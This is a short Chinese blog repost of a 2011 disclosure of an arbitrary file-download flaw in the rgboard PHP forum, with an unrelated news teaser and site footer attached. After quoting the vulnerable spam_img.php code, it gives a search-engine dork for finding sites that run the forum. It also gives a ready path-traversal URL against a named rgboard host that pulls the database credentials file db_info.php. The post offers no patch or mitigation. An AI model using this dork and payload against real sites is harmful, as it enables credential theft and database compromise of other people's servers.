rgboard 2011-06-16 老系统内容 漏洞 文件

admin 2021年4月3日19:42:55评论39 views字数 1010阅读3分22秒阅读模式

rgboard
by flyh4t

rgboard是韩国的一款php论坛

这是一个标准的逻辑漏洞

spam_img.php代码如下

以下是引用片段:

$schk_code = $_SESSION["schk_".$chk_code];
    if(preg_match('/^[0-9]/',$schk_code[$ord])) { // ????
        $file='images_spam/'.$schk_code[$ord].".gif";
    } else if(preg_match('/^[a-z]/',$schk_code[$ord])) { // ??????
        $file='images_spam/'.$schk_code[$ord]."1.gif";
    } else if(preg_match('/^[A-Z]/',$schk_code[$ord])) { // ??????
        $file='images_spam/'.$schk_code[$ord]."2.gif";
    }

//没有exit

    header ("Cache-Control: no-cache, must-revalidate");
    header ("Pragma: no-cache");
    $LastModified = gmdate("D d M Y H:i:s", time());
    header("Last-Modified: $LastModified GMT");
    header("ETag: "$LastModified"");
       
    download_file($file,'-','application/octet-stream');

利用很简单

inurl:rg4_board

http://v4.rgboard.com/rg4_board/spam_img.php?file=../rg4_data/db_info.php

文章来源于lcx.cc:rgboard

2011-06-16

老系统内容
漏洞
文件

约 138 字
预计阅读 1 分钟

相关推荐: 【转载】山东枣庄实名举报者被判14年

    我叫秦绍兰,我丈夫是山东枣庄市国土资源局party组成员、市矿产储备中心主任彭宜淦,我丈夫由于举报枣庄市市委书记刘某重大贪污受贿的行为,被强行带走,随后被非法关押长达四个月,现在竟然被法院判了14年。     作为一个妻子,就算倾家荡产我也要将为我的丈…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月3日19:42:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   rgboard 2011-06-16 老系统内容 漏洞 文件http://cn-sec.com/archives/324533.html

发表评论

匿名网友 填写信息